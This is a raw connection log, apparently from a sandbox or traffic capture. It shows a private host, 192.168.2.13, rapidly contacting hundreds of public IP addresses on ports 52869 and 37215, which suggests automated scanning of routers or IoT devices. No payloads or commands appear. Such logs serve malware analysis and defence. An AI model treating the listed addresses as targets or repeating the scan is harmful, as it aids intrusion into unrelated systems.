Jul 20, 2024 23:05:44.621865034 CEST	43695	52869	192.168.2.13	58.248.88.203
Jul 20, 2024 23:05:44.621865034 CEST	43695	52869	192.168.2.13	142.44.99.225
Jul 20, 2024 23:05:44.621865034 CEST	43695	52869	192.168.2.13	85.196.59.41
Jul 20, 2024 23:05:44.621865034 CEST	43695	52869	192.168.2.13	42.59.118.152
Jul 20, 2024 23:05:44.621865034 CEST	43695	52869	192.168.2.13	181.53.153.241
Jul 20, 2024 23:05:44.621884108 CEST	52869	43695	179.104.253.233	192.168.2.13
Jul 20, 2024 23:05:44.621892929 CEST	52869	43695	84.200.98.41	192.168.2.13
Jul 20, 2024 23:05:44.621997118 CEST	52869	43695	194.209.194.23	192.168.2.13
Jul 20, 2024 23:05:44.622005939 CEST	37215	44719	157.134.207.23	192.168.2.13
Jul 20, 2024 23:05:44.622133017 CEST	52869	43695	118.155.59.91	192.168.2.13
Jul 20, 2024 23:05:44.622138977 CEST	37215	44719	208.22.61.188	192.168.2.13
Jul 20, 2024 23:05:44.622287989 CEST	52869	43695	173.185.128.187	192.168.2.13
Jul 20, 2024 23:05:44.622297049 CEST	37215	44719	197.117.81.181	192.168.2.13
Jul 20, 2024 23:05:44.622517109 CEST	43695	52869	192.168.2.13	34.27.33.157
Jul 20, 2024 23:05:44.622517109 CEST	43695	52869	192.168.2.13	170.63.185.63
Jul 20, 2024 23:05:44.622517109 CEST	43695	52869	192.168.2.13	97.111.83.236
Jul 20, 2024 23:05:44.622518063 CEST	43695	52869	192.168.2.13	93.102.213.241
Jul 20, 2024 23:05:44.622518063 CEST	43695	52869	192.168.2.13	130.97.148.89
Jul 20, 2024 23:05:44.622518063 CEST	43695	52869	192.168.2.13	51.72.19.57
Jul 20, 2024 23:05:44.622518063 CEST	43695	52869	192.168.2.13	64.85.216.249
Jul 20, 2024 23:05:44.622523069 CEST	52869	43695	87.155.162.116	192.168.2.13
Jul 20, 2024 23:05:44.622587919 CEST	37215	44719	41.8.11.107	192.168.2.13
Jul 20, 2024 23:05:44.622756958 CEST	52869	43695	135.81.139.251	192.168.2.13
Jul 20, 2024 23:05:44.622766972 CEST	37215	44719	27.57.69.110	192.168.2.13
Jul 20, 2024 23:05:44.622781992 CEST	52869	43695	124.190.191.169	192.168.2.13
Jul 20, 2024 23:05:44.623590946 CEST	43695	52869	192.168.2.13	185.217.137.150
Jul 20, 2024 23:05:44.623590946 CEST	43695	52869	192.168.2.13	115.2.245.201
Jul 20, 2024 23:05:44.623590946 CEST	43695	52869	192.168.2.13	5.73.227.65
Jul 20, 2024 23:05:44.623590946 CEST	43695	52869	192.168.2.13	185.162.157.182
Jul 20, 2024 23:05:44.623590946 CEST	43695	52869	192.168.2.13	195.3.231.124
Jul 20, 2024 23:05:44.623590946 CEST	43695	52869	192.168.2.13	106.188.24.94
Jul 20, 2024 23:05:44.623590946 CEST	43695	52869	192.168.2.13	9.160.15.173
Jul 20, 2024 23:05:44.623590946 CEST	43695	52869	192.168.2.13	110.208.222.236
Jul 20, 2024 23:05:44.623599052 CEST	52869	43695	119.180.62.120	192.168.2.13
Jul 20, 2024 23:05:44.623610020 CEST	52869	43695	138.92.96.134	192.168.2.13
Jul 20, 2024 23:05:44.623624086 CEST	52869	43695	200.24.126.189	192.168.2.13
Jul 20, 2024 23:05:44.623631954 CEST	52869	43695	90.216.122.186	192.168.2.13
Jul 20, 2024 23:05:44.623636961 CEST	52869	43695	63.11.194.94	192.168.2.13
Jul 20, 2024 23:05:44.623645067 CEST	52869	43695	5.9.22.217	192.168.2.13
Jul 20, 2024 23:05:44.623749018 CEST	52869	43695	98.98.44.54	192.168.2.13
Jul 20, 2024 23:05:44.623754025 CEST	52869	43695	139.96.160.91	192.168.2.13
Jul 20, 2024 23:05:44.623763084 CEST	52869	43695	85.167.215.211	192.168.2.13
Jul 20, 2024 23:05:44.623766899 CEST	52869	43695	160.90.122.124	192.168.2.13
Jul 20, 2024 23:05:44.623775005 CEST	52869	43695	135.143.149.62	192.168.2.13
Jul 20, 2024 23:05:44.623858929 CEST	52869	43695	136.196.141.137	192.168.2.13
Jul 20, 2024 23:05:44.624075890 CEST	52869	43695	89.97.223.75	192.168.2.13
Jul 20, 2024 23:05:44.624084949 CEST	52869	43695	134.207.153.84	192.168.2.13
Jul 20, 2024 23:05:44.624190092 CEST	52869	43695	213.59.63.60	192.168.2.13
Jul 20, 2024 23:05:44.624213934 CEST	43695	52869	192.168.2.13	70.76.54.146
Jul 20, 2024 23:05:44.624213934 CEST	43695	52869	192.168.2.13	24.164.244.193
Jul 20, 2024 23:05:44.624213934 CEST	43695	52869	192.168.2.13	49.20.93.61
Jul 20, 2024 23:05:44.624707937 CEST	52869	43695	183.196.30.7	192.168.2.13
Jul 20, 2024 23:05:44.624712944 CEST	52869	43695	175.208.180.93	192.168.2.13
Jul 20, 2024 23:05:44.626230001 CEST	52869	43695	9.71.24.238	192.168.2.13
Jul 20, 2024 23:05:44.626291037 CEST	52869	43695	111.154.196.140	192.168.2.13
Jul 20, 2024 23:05:44.626382113 CEST	52869	43695	81.22.72.53	192.168.2.13
Jul 20, 2024 23:05:44.626385927 CEST	52869	43695	128.249.208.200	192.168.2.13
Jul 20, 2024 23:05:44.626394987 CEST	52869	43695	90.100.144.191	192.168.2.13
Jul 20, 2024 23:05:44.626631021 CEST	52869	43695	138.233.118.65	192.168.2.13
Jul 20, 2024 23:05:44.626712084 CEST	52869	43695	98.104.101.106	192.168.2.13
Jul 20, 2024 23:05:44.626717091 CEST	52869	43695	176.8.108.48	192.168.2.13
Jul 20, 2024 23:05:44.626730919 CEST	52869	43695	76.28.127.7	192.168.2.13
Jul 20, 2024 23:05:44.627130985 CEST	52869	43695	101.154.109.210	192.168.2.13
Jul 20, 2024 23:05:44.627137899 CEST	52869	43695	118.51.35.105	192.168.2.13
Jul 20, 2024 23:05:44.627361059 CEST	52869	43695	157.17.2.39	192.168.2.13
Jul 20, 2024 23:05:44.627365112 CEST	52869	43695	58.248.88.203	192.168.2.13
Jul 20, 2024 23:05:44.627373934 CEST	52869	43695	142.44.99.225	192.168.2.13
Jul 20, 2024 23:05:44.627418995 CEST	52869	43695	85.196.59.41	192.168.2.13
Jul 20, 2024 23:05:44.627686024 CEST	52869	43695	42.59.118.152	192.168.2.13
Jul 20, 2024 23:05:44.627691031 CEST	52869	43695	181.53.153.241	192.168.2.13
Jul 20, 2024 23:05:44.627702951 CEST	52869	43695	34.27.33.157	192.168.2.13
Jul 20, 2024 23:05:44.628020048 CEST	52869	43695	170.63.185.63	192.168.2.13
Jul 20, 2024 23:05:44.628055096 CEST	52869	43695	97.111.83.236	192.168.2.13
Jul 20, 2024 23:05:44.628063917 CEST	52869	43695	93.102.213.241	192.168.2.13
Jul 20, 2024 23:05:44.628379107 CEST	52869	43695	130.97.148.89	192.168.2.13
Jul 20, 2024 23:05:44.628536940 CEST	52869	43695	51.72.19.57	192.168.2.13
Jul 20, 2024 23:05:44.628748894 CEST	52869	43695	64.85.216.249	192.168.2.13
Jul 20, 2024 23:05:44.628752947 CEST	52869	43695	185.217.137.150	192.168.2.13
Jul 20, 2024 23:05:44.628762007 CEST	52869	43695	115.2.245.201	192.168.2.13
Jul 20, 2024 23:05:44.628767014 CEST	52869	43695	5.73.227.65	192.168.2.13
Jul 20, 2024 23:05:44.628884077 CEST	52869	43695	185.162.157.182	192.168.2.13
Jul 20, 2024 23:05:44.628889084 CEST	52869	43695	195.3.231.124	192.168.2.13
Jul 20, 2024 23:05:44.628997087 CEST	52869	43695	106.188.24.94	192.168.2.13
Jul 20, 2024 23:05:44.629218102 CEST	52869	43695	9.160.15.173	192.168.2.13
Jul 20, 2024 23:05:44.629221916 CEST	52869	43695	110.208.222.236	192.168.2.13
Jul 20, 2024 23:05:44.629231930 CEST	52869	43695	70.76.54.146	192.168.2.13
Jul 20, 2024 23:05:44.629312992 CEST	52869	43695	24.164.244.193	192.168.2.13
Jul 20, 2024 23:05:44.629317045 CEST	52869	43695	49.20.93.61	192.168.2.13
Jul 20, 2024 23:05:44.630871058 CEST	43695	52869	192.168.2.13	50.153.175.40
Jul 20, 2024 23:05:44.630871058 CEST	43695	52869	192.168.2.13	5.239.24.40
Jul 20, 2024 23:05:44.630871058 CEST	43695	52869	192.168.2.13	90.232.33.214
Jul 20, 2024 23:05:44.630871058 CEST	43695	52869	192.168.2.13	204.34.159.109
Jul 20, 2024 23:05:44.630871058 CEST	43695	52869	192.168.2.13	113.222.204.179
Jul 20, 2024 23:05:44.630871058 CEST	43695	52869	192.168.2.13	18.60.122.255
Jul 20, 2024 23:05:44.630871058 CEST	43695	52869	192.168.2.13	25.136.46.43
Jul 20, 2024 23:05:44.634171963 CEST	43695	52869	192.168.2.13	197.101.229.103
Jul 20, 2024 23:05:44.634171963 CEST	43695	52869	192.168.2.13	132.195.22.70
Jul 20, 2024 23:05:44.634171963 CEST	43695	52869	192.168.2.13	170.211.30.10
Jul 20, 2024 23:05:44.634171963 CEST	43695	52869	192.168.2.13	46.14.202.242
Jul 20, 2024 23:05:44.634171963 CEST	43695	52869	192.168.2.13	130.39.222.19
Jul 20, 2024 23:05:44.634171963 CEST	43695	52869	192.168.2.13	41.100.115.152
Jul 20, 2024 23:05:44.634171963 CEST	43695	52869	192.168.2.13	49.165.209.192
Jul 20, 2024 23:05:44.634171963 CEST	43695	52869	192.168.2.13	35.227.176.193
Jul 20, 2024 23:05:44.634812117 CEST	43695	52869	192.168.2.13	140.182.10.13
Jul 20, 2024 23:05:44.634812117 CEST	43695	52869	192.168.2.13	161.77.194.16
Jul 20, 2024 23:05:44.634812117 CEST	43695	52869	192.168.2.13	150.189.59.39
Jul 20, 2024 23:05:44.634812117 CEST	43695	52869	192.168.2.13	70.115.6.239
Jul 20, 2024 23:05:44.634812117 CEST	43695	52869	192.168.2.13	123.182.218.139
Jul 20, 2024 23:05:44.634812117 CEST	43695	52869	192.168.2.13	48.120.135.0
Jul 20, 2024 23:05:44.634812117 CEST	43695	52869	192.168.2.13	118.97.181.6
Jul 20, 2024 23:05:44.634812117 CEST	43695	52869	192.168.2.13	75.227.233.189
Jul 20, 2024 23:05:44.635472059 CEST	43695	52869	192.168.2.13	66.12.166.205
Jul 20, 2024 23:05:44.635472059 CEST	43695	52869	192.168.2.13	41.198.170.204
Jul 20, 2024 23:05:44.635472059 CEST	43695	52869	192.168.2.13	103.123.196.10
Jul 20, 2024 23:05:44.635472059 CEST	43695	52869	192.168.2.13	149.30.208.77
Jul 20, 2024 23:05:44.635472059 CEST	43695	52869	192.168.2.13	198.205.186.114
Jul 20, 2024 23:05:44.635473013 CEST	43695	52869	192.168.2.13	20.133.111.225
Jul 20, 2024 23:05:44.635473013 CEST	43695	52869	192.168.2.13	114.145.148.110
Jul 20, 2024 23:05:44.636248112 CEST	52869	43695	50.153.175.40	192.168.2.13
Jul 20, 2024 23:05:44.636809111 CEST	52869	43695	5.239.24.40	192.168.2.13
Jul 20, 2024 23:05:44.637089968 CEST	52869	43695	59.104.83.26	192.168.2.13
Jul 20, 2024 23:05:44.637098074 CEST	52869	43695	82.67.99.149	192.168.2.13
Jul 20, 2024 23:05:44.637101889 CEST	52869	43695	178.111.137.184	192.168.2.13
Jul 20, 2024 23:05:44.637109995 CEST	52869	43695	111.66.113.195	192.168.2.13
Jul 20, 2024 23:05:44.637123108 CEST	52869	43695	74.105.237.23	192.168.2.13
Jul 20, 2024 23:05:44.637126923 CEST	52869	43695	150.168.191.178	192.168.2.13
Jul 20, 2024 23:05:44.637130022 CEST	52869	43695	177.60.248.200	192.168.2.13
Jul 20, 2024 23:05:44.637144089 CEST	52869	43695	41.108.184.86	192.168.2.13
Jul 20, 2024 23:05:44.637147903 CEST	52869	43695	98.232.97.199	192.168.2.13
Jul 20, 2024 23:05:44.637156010 CEST	52869	43695	2.163.212.95	192.168.2.13
Jul 20, 2024 23:05:44.637160063 CEST	52869	43695	114.200.0.186	192.168.2.13
Jul 20, 2024 23:05:44.637175083 CEST	52869	43695	82.224.180.19	192.168.2.13
Jul 20, 2024 23:05:44.637178898 CEST	52869	43695	62.147.240.163	192.168.2.13
Jul 20, 2024 23:05:44.637182951 CEST	52869	43695	140.10.216.96	192.168.2.13
Jul 20, 2024 23:05:44.637190104 CEST	52869	43695	195.7.114.67	192.168.2.13
Jul 20, 2024 23:05:44.637193918 CEST	52869	43695	5.107.20.80	192.168.2.13
Jul 20, 2024 23:05:44.637201071 CEST	52869	43695	64.236.183.34	192.168.2.13
Jul 20, 2024 23:05:44.637204885 CEST	52869	43695	25.177.197.20	192.168.2.13
Jul 20, 2024 23:05:44.637212038 CEST	52869	43695	203.164.148.156	192.168.2.13
Jul 20, 2024 23:05:44.637218952 CEST	52869	43695	164.48.46.76	192.168.2.13
Jul 20, 2024 23:05:44.637223005 CEST	52869	43695	182.196.237.27	192.168.2.13
Jul 20, 2024 23:05:44.637229919 CEST	52869	43695	102.70.18.79	192.168.2.13
Jul 20, 2024 23:05:44.637234926 CEST	52869	43695	105.140.191.44	192.168.2.13
Jul 20, 2024 23:05:44.637242079 CEST	52869	43695	86.3.206.89	192.168.2.13
Jul 20, 2024 23:05:44.637245893 CEST	52869	43695	202.205.64.46	192.168.2.13
Jul 20, 2024 23:05:44.637249947 CEST	52869	43695	213.6.2.53	192.168.2.13
Jul 20, 2024 23:05:44.637253046 CEST	52869	43695	164.241.31.41	192.168.2.13
Jul 20, 2024 23:05:44.637274981 CEST	52869	43695	171.91.232.190	192.168.2.13
Jul 20, 2024 23:05:44.637279034 CEST	52869	43695	123.28.3.221	192.168.2.13
Jul 20, 2024 23:05:44.637283087 CEST	52869	43695	144.157.190.123	192.168.2.13
Jul 20, 2024 23:05:44.637495041 CEST	36904	8081	192.168.2.13	100.189.148.44
Jul 20, 2024 23:05:44.637754917 CEST	43695	52869	192.168.2.13	145.155.32.76
Jul 20, 2024 23:05:44.637754917 CEST	43695	52869	192.168.2.13	32.151.19.76
Jul 20, 2024 23:05:44.637754917 CEST	43695	52869	192.168.2.13	143.129.50.39
Jul 20, 2024 23:05:44.637754917 CEST	43695	52869	192.168.2.13	178.223.240.136
Jul 20, 2024 23:05:44.637754917 CEST	43695	52869	192.168.2.13	85.98.20.230
Jul 20, 2024 23:05:44.637754917 CEST	43695	52869	192.168.2.13	83.235.189.67
Jul 20, 2024 23:05:44.637754917 CEST	43695	52869	192.168.2.13	161.255.105.252
Jul 20, 2024 23:05:44.637754917 CEST	43695	52869	192.168.2.13	118.23.151.21
Jul 20, 2024 23:05:44.638396025 CEST	43695	52869	192.168.2.13	140.178.10.62
Jul 20, 2024 23:05:44.638396025 CEST	43695	52869	192.168.2.13	57.136.156.83
Jul 20, 2024 23:05:44.638396025 CEST	43695	52869	192.168.2.13	201.23.168.79
Jul 20, 2024 23:05:44.638396025 CEST	43695	52869	192.168.2.13	44.63.250.59
Jul 20, 2024 23:05:44.638396025 CEST	43695	52869	192.168.2.13	96.36.208.160
Jul 20, 2024 23:05:44.638396025 CEST	43695	52869	192.168.2.13	178.100.183.66
Jul 20, 2024 23:05:44.638396025 CEST	43695	52869	192.168.2.13	166.193.69.13
Jul 20, 2024 23:05:44.638396025 CEST	43695	52869	192.168.2.13	190.3.189.193
Jul 20, 2024 23:05:44.639117002 CEST	43695	52869	192.168.2.13	35.93.73.208
Jul 20, 2024 23:05:44.639117002 CEST	43695	52869	192.168.2.13	118.218.151.174
Jul 20, 2024 23:05:44.639117002 CEST	43695	52869	192.168.2.13	37.39.48.206
Jul 20, 2024 23:05:44.639117002 CEST	43695	52869	192.168.2.13	111.14.249.183
Jul 20, 2024 23:05:44.639117002 CEST	43695	52869	192.168.2.13	108.219.65.62
Jul 20, 2024 23:05:44.639117002 CEST	43695	52869	192.168.2.13	94.46.16.102
Jul 20, 2024 23:05:44.639117002 CEST	43695	52869	192.168.2.13	165.90.32.67
Jul 20, 2024 23:05:44.639117002 CEST	43695	52869	192.168.2.13	113.61.254.130
Jul 20, 2024 23:05:44.639188051 CEST	52869	43695	90.232.33.214	192.168.2.13
Jul 20, 2024 23:05:44.639194012 CEST	52869	43695	204.34.159.109	192.168.2.13
Jul 20, 2024 23:05:44.639204979 CEST	52869	43695	113.222.204.179	192.168.2.13
Jul 20, 2024 23:05:44.639638901 CEST	52869	43695	18.60.122.255	192.168.2.13
Jul 20, 2024 23:05:44.639642954 CEST	52869	43695	25.136.46.43	192.168.2.13
Jul 20, 2024 23:05:44.639650106 CEST	52869	43695	197.101.229.103	192.168.2.13
Jul 20, 2024 23:05:44.639745951 CEST	43695	52869	192.168.2.13	160.252.73.45
Jul 20, 2024 23:05:44.639745951 CEST	43695	52869	192.168.2.13	75.74.92.110
Jul 20, 2024 23:05:44.639745951 CEST	43695	52869	192.168.2.13	142.213.56.26
Jul 20, 2024 23:05:44.639745951 CEST	43695	52869	192.168.2.13	74.165.55.185
Jul 20, 2024 23:05:44.639745951 CEST	43695	52869	192.168.2.13	94.5.123.22
Jul 20, 2024 23:05:44.639745951 CEST	43695	52869	192.168.2.13	192.55.207.7
Jul 20, 2024 23:05:44.639745951 CEST	43695	52869	192.168.2.13	126.8.241.59
Jul 20, 2024 23:05:44.639750957 CEST	52869	43695	132.195.22.70	192.168.2.13
Jul 20, 2024 23:05:44.640078068 CEST	52869	43695	170.211.30.10	192.168.2.13
Jul 20, 2024 23:05:44.640081882 CEST	52869	43695	46.14.202.242	192.168.2.13
Jul 20, 2024 23:05:44.640172005 CEST	52869	43695	130.39.222.19	192.168.2.13
Jul 20, 2024 23:05:44.640176058 CEST	52869	43695	41.100.115.152	192.168.2.13
Jul 20, 2024 23:05:44.640185118 CEST	52869	43695	49.165.209.192	192.168.2.13
Jul 20, 2024 23:05:44.640197039 CEST	52869	43695	35.227.176.193	192.168.2.13
Jul 20, 2024 23:05:44.640199900 CEST	52869	43695	140.182.10.13	192.168.2.13
Jul 20, 2024 23:05:44.640208006 CEST	52869	43695	161.77.194.16	192.168.2.13
Jul 20, 2024 23:05:44.640218973 CEST	52869	43695	150.189.59.39	192.168.2.13
Jul 20, 2024 23:05:44.640223026 CEST	52869	43695	70.115.6.239	192.168.2.13
Jul 20, 2024 23:05:44.640227079 CEST	52869	43695	123.182.218.139	192.168.2.13
Jul 20, 2024 23:05:44.640583038 CEST	43695	52869	192.168.2.13	204.63.207.32
Jul 20, 2024 23:05:44.640583038 CEST	43695	52869	192.168.2.13	181.107.207.78
Jul 20, 2024 23:05:44.640583038 CEST	43695	52869	192.168.2.13	99.96.160.38
Jul 20, 2024 23:05:44.640583038 CEST	43695	52869	192.168.2.13	150.201.23.151
Jul 20, 2024 23:05:44.640583038 CEST	43695	52869	192.168.2.13	148.247.181.9
Jul 20, 2024 23:05:44.640583038 CEST	43695	52869	192.168.2.13	112.68.230.104
Jul 20, 2024 23:05:44.640583038 CEST	43695	52869	192.168.2.13	104.80.47.1
Jul 20, 2024 23:05:44.641150951 CEST	52869	43695	48.120.135.0	192.168.2.13
Jul 20, 2024 23:05:44.641509056 CEST	52869	43695	118.97.181.6	192.168.2.13
Jul 20, 2024 23:05:44.641513109 CEST	52869	43695	75.227.233.189	192.168.2.13
Jul 20, 2024 23:05:44.641644955 CEST	52869	43695	66.12.166.205	192.168.2.13
Jul 20, 2024 23:05:44.641649008 CEST	52869	43695	41.198.170.204	192.168.2.13
Jul 20, 2024 23:05:44.641657114 CEST	52869	43695	103.123.196.10	192.168.2.13
Jul 20, 2024 23:05:44.641660929 CEST	52869	43695	149.30.208.77	192.168.2.13
Jul 20, 2024 23:05:44.641669035 CEST	52869	43695	198.205.186.114	192.168.2.13
Jul 20, 2024 23:05:44.641673088 CEST	52869	43695	20.133.111.225	192.168.2.13
Jul 20, 2024 23:05:44.641680002 CEST	52869	43695	114.145.148.110	192.168.2.13
Jul 20, 2024 23:05:44.643155098 CEST	52869	43695	145.155.32.76	192.168.2.13
Jul 20, 2024 23:05:44.643779039 CEST	43695	52869	192.168.2.13	42.89.120.87
Jul 20, 2024 23:05:44.643779039 CEST	43695	52869	192.168.2.13	38.223.245.119
Jul 20, 2024 23:05:44.643779993 CEST	43695	52869	192.168.2.13	218.56.230.205
Jul 20, 2024 23:05:44.643779993 CEST	43695	52869	192.168.2.13	204.209.247.246
Jul 20, 2024 23:05:44.643779993 CEST	43695	52869	192.168.2.13	115.196.123.41
Jul 20, 2024 23:05:44.643779993 CEST	43695	52869	192.168.2.13	176.10.230.226
Jul 20, 2024 23:05:44.643779993 CEST	43695	52869	192.168.2.13	210.230.55.69
Jul 20, 2024 23:05:44.643779993 CEST	43695	52869	192.168.2.13	36.166.150.24
Jul 20, 2024 23:05:44.644426107 CEST	43695	52869	192.168.2.13	90.200.91.199
Jul 20, 2024 23:05:44.644426107 CEST	43695	52869	192.168.2.13	221.80.7.83
Jul 20, 2024 23:05:44.644426107 CEST	43695	52869	192.168.2.13	88.19.10.215
Jul 20, 2024 23:05:44.644426107 CEST	43695	52869	192.168.2.13	152.17.80.238
Jul 20, 2024 23:05:44.644427061 CEST	43695	52869	192.168.2.13	5.194.25.94
Jul 20, 2024 23:05:44.644427061 CEST	43695	52869	192.168.2.13	141.166.255.179
Jul 20, 2024 23:05:44.644427061 CEST	43695	52869	192.168.2.13	61.101.101.38
Jul 20, 2024 23:05:44.644427061 CEST	43695	52869	192.168.2.13	9.238.80.231
Jul 20, 2024 23:05:44.645076990 CEST	43695	52869	192.168.2.13	139.78.83.220
Jul 20, 2024 23:05:44.645076990 CEST	43695	52869	192.168.2.13	61.252.71.171
Jul 20, 2024 23:05:44.645076990 CEST	43695	52869	192.168.2.13	25.153.231.174
Jul 20, 2024 23:05:44.645076990 CEST	43695	52869	192.168.2.13	14.161.78.217
Jul 20, 2024 23:05:44.645272970 CEST	52869	43695	32.151.19.76	192.168.2.13
Jul 20, 2024 23:05:44.645277977 CEST	52869	43695	143.129.50.39	192.168.2.13
Jul 20, 2024 23:05:44.645286083 CEST	52869	43695	178.223.240.136	192.168.2.13
Jul 20, 2024 23:05:44.645296097 CEST	52869	43695	85.98.20.230	192.168.2.13
Jul 20, 2024 23:05:44.645303011 CEST	52869	43695	83.235.189.67	192.168.2.13
Jul 20, 2024 23:05:44.645314932 CEST	52869	43695	161.255.105.252	192.168.2.13
Jul 20, 2024 23:05:44.645318985 CEST	52869	43695	118.23.151.21	192.168.2.13
Jul 20, 2024 23:05:44.645325899 CEST	52869	43695	140.178.10.62	192.168.2.13
Jul 20, 2024 23:05:44.645329952 CEST	52869	43695	57.136.156.83	192.168.2.13
Jul 20, 2024 23:05:44.645345926 CEST	52869	43695	201.23.168.79	192.168.2.13
Jul 20, 2024 23:05:44.645349979 CEST	52869	43695	44.63.250.59	192.168.2.13
Jul 20, 2024 23:05:44.645354033 CEST	52869	43695	96.36.208.160	192.168.2.13
Jul 20, 2024 23:05:44.645356894 CEST	52869	43695	178.100.183.66	192.168.2.13
Jul 20, 2024 23:05:44.645369053 CEST	52869	43695	166.193.69.13	192.168.2.13
Jul 20, 2024 23:05:44.645376921 CEST	52869	43695	190.3.189.193	192.168.2.13
Jul 20, 2024 23:05:44.645380020 CEST	52869	43695	35.93.73.208	192.168.2.13
Jul 20, 2024 23:05:44.645446062 CEST	52869	43695	118.218.151.174	192.168.2.13
Jul 20, 2024 23:05:44.645453930 CEST	52869	43695	37.39.48.206	192.168.2.13
Jul 20, 2024 23:05:44.645457983 CEST	52869	43695	111.14.249.183	192.168.2.13
Jul 20, 2024 23:05:44.645464897 CEST	52869	43695	108.219.65.62	192.168.2.13
Jul 20, 2024 23:05:44.645467997 CEST	52869	43695	94.46.16.102	192.168.2.13
Jul 20, 2024 23:05:44.645716906 CEST	52869	43695	165.90.32.67	192.168.2.13
Jul 20, 2024 23:05:44.645729065 CEST	52869	43695	113.61.254.130	192.168.2.13
Jul 20, 2024 23:05:44.645987034 CEST	52869	43695	160.252.73.45	192.168.2.13
Jul 20, 2024 23:05:44.660888910 CEST	43695	52869	192.168.2.13	80.48.49.198
Jul 20, 2024 23:05:44.660888910 CEST	43695	52869	192.168.2.13	54.79.20.157
Jul 20, 2024 23:05:44.660888910 CEST	43695	52869	192.168.2.13	74.72.233.88
Jul 20, 2024 23:05:44.663043022 CEST	43695	52869	192.168.2.13	149.223.236.152
Jul 20, 2024 23:05:44.663043022 CEST	43695	52869	192.168.2.13	84.205.84.200
Jul 20, 2024 23:05:44.663043022 CEST	44719	37215	192.168.2.13	147.233.201.83
Jul 20, 2024 23:05:44.663043976 CEST	43695	52869	192.168.2.13	191.248.177.130
Jul 20, 2024 23:05:44.664983988 CEST	44719	37215	192.168.2.13	41.103.203.136
Jul 20, 2024 23:05:44.664983988 CEST	43695	52869	192.168.2.13	106.225.80.214
Jul 20, 2024 23:05:44.664983988 CEST	43695	52869	192.168.2.13	98.62.191.234
Jul 20, 2024 23:05:44.664983988 CEST	44719	37215	192.168.2.13	151.128.221.242
Jul 20, 2024 23:05:44.664983988 CEST	44719	37215	192.168.2.13	220.140.76.88
Jul 20, 2024 23:05:44.664983988 CEST	44719	37215	192.168.2.13	41.11.182.124
Jul 20, 2024 23:05:44.664983988 CEST	43695	52869	192.168.2.13	134.55.152.47
Jul 20, 2024 23:05:44.666388988 CEST	44719	37215	192.168.2.13	41.90.78.253
Jul 20, 2024 23:05:44.666388988 CEST	44719	37215	192.168.2.13	41.81.9.102
Jul 20, 2024 23:05:44.666388988 CEST	44719	37215	192.168.2.13	41.113.145.203
Jul 20, 2024 23:05:44.666388988 CEST	43695	52869	192.168.2.13	78.233.207.44
Jul 20, 2024 23:05:44.666388988 CEST	44719	37215	192.168.2.13	157.199.216.214
Jul 20, 2024 23:05:44.666388988 CEST	44719	37215	192.168.2.13	157.215.207.96
Jul 20, 2024 23:05:44.666388988 CEST	44719	37215	192.168.2.13	197.70.4.171
Jul 20, 2024 23:05:44.668881893 CEST	43695	52869	192.168.2.13	136.24.70.56
Jul 20, 2024 23:05:44.668881893 CEST	43695	52869	192.168.2.13	102.46.199.20
Jul 20, 2024 23:05:44.668881893 CEST	48478	80	192.168.2.13	95.26.106.67
Jul 20, 2024 23:05:44.668881893 CEST	43695	52869	192.168.2.13	220.159.9.134
Jul 20, 2024 23:05:44.668881893 CEST	43695	52869	192.168.2.13	221.3.242.5
Jul 20, 2024 23:05:44.668881893 CEST	44719	37215	192.168.2.13	41.94.29.29
Jul 20, 2024 23:05:44.668881893 CEST	40226	80	192.168.2.13	95.155.207.83
Jul 20, 2024 23:05:44.668883085 CEST	43695	52869	192.168.2.13	136.117.93.58
Jul 20, 2024 23:05:44.669701099 CEST	44719	37215	192.168.2.13	157.250.31.164
Jul 20, 2024 23:05:44.669701099 CEST	44719	37215	192.168.2.13	197.75.246.24
Jul 20, 2024 23:05:44.669701099 CEST	44719	37215	192.168.2.13	41.22.217.152
Jul 20, 2024 23:05:44.669701099 CEST	44719	37215	192.168.2.13	41.18.75.134
Jul 20, 2024 23:05:44.669701099 CEST	43695	52869	192.168.2.13	105.38.165.57
Jul 20, 2024 23:05:44.669701099 CEST	44719	37215	192.168.2.13	157.1.73.107
Jul 20, 2024 23:05:44.669701099 CEST	44719	37215	192.168.2.13	197.248.194.40
Jul 20, 2024 23:05:44.669701099 CEST	44719	37215	192.168.2.13	197.74.70.31
Jul 20, 2024 23:05:44.670809984 CEST	43695	52869	192.168.2.13	2.151.18.206
Jul 20, 2024 23:05:44.670809984 CEST	43695	52869	192.168.2.13	72.17.189.116
Jul 20, 2024 23:05:44.670809984 CEST	43695	52869	192.168.2.13	198.139.127.65
Jul 20, 2024 23:05:44.670809984 CEST	44719	37215	192.168.2.13	197.79.38.107
Jul 20, 2024 23:05:44.670809984 CEST	44719	37215	192.168.2.13	157.30.207.238
Jul 20, 2024 23:05:44.670809984 CEST	44719	37215	192.168.2.13	197.183.255.235
Jul 20, 2024 23:05:44.670809984 CEST	44719	37215	192.168.2.13	163.241.212.180
Jul 20, 2024 23:05:44.670809984 CEST	44719	37215	192.168.2.13	201.205.132.204
Jul 20, 2024 23:05:44.671763897 CEST	44719	37215	192.168.2.13	85.61.71.33
Jul 20, 2024 23:05:44.671763897 CEST	44719	37215	192.168.2.13	157.76.93.169
Jul 20, 2024 23:05:44.671763897 CEST	43695	52869	192.168.2.13	195.235.63.144
Jul 20, 2024 23:05:44.671763897 CEST	44719	37215	192.168.2.13	157.76.157.23
Jul 20, 2024 23:05:44.671763897 CEST	43695	52869	192.168.2.13	57.150.87.191
Jul 20, 2024 23:05:44.671763897 CEST	44719	37215	192.168.2.13	41.200.3.249
Jul 20, 2024 23:05:44.671763897 CEST	43695	52869	192.168.2.13	196.5.188.187
Jul 20, 2024 23:05:44.671763897 CEST	43695	52869	192.168.2.13	66.105.78.156
Jul 20, 2024 23:05:44.672991037 CEST	43695	52869	192.168.2.13	101.73.4.16
Jul 20, 2024 23:05:44.672991037 CEST	44719	37215	192.168.2.13	41.252.251.183
Jul 20, 2024 23:05:44.672991037 CEST	43695	52869	192.168.2.13	187.150.149.148
Jul 20, 2024 23:05:44.672991037 CEST	44719	37215	192.168.2.13	41.101.51.250
Jul 20, 2024 23:05:44.672991037 CEST	44719	37215	192.168.2.13	197.249.186.160
Jul 20, 2024 23:05:44.672991037 CEST	44719	37215	192.168.2.13	157.218.98.239
Jul 20, 2024 23:05:44.672991037 CEST	43695	52869	192.168.2.13	137.36.77.53
Jul 20, 2024 23:05:44.673896074 CEST	43695	52869	192.168.2.13	84.65.221.164
Jul 20, 2024 23:05:44.673896074 CEST	43695	52869	192.168.2.13	19.233.90.87
Jul 20, 2024 23:05:44.673896074 CEST	43695	52869	192.168.2.13	118.107.35.185
Jul 20, 2024 23:05:44.673896074 CEST	43695	52869	192.168.2.13	187.143.119.37
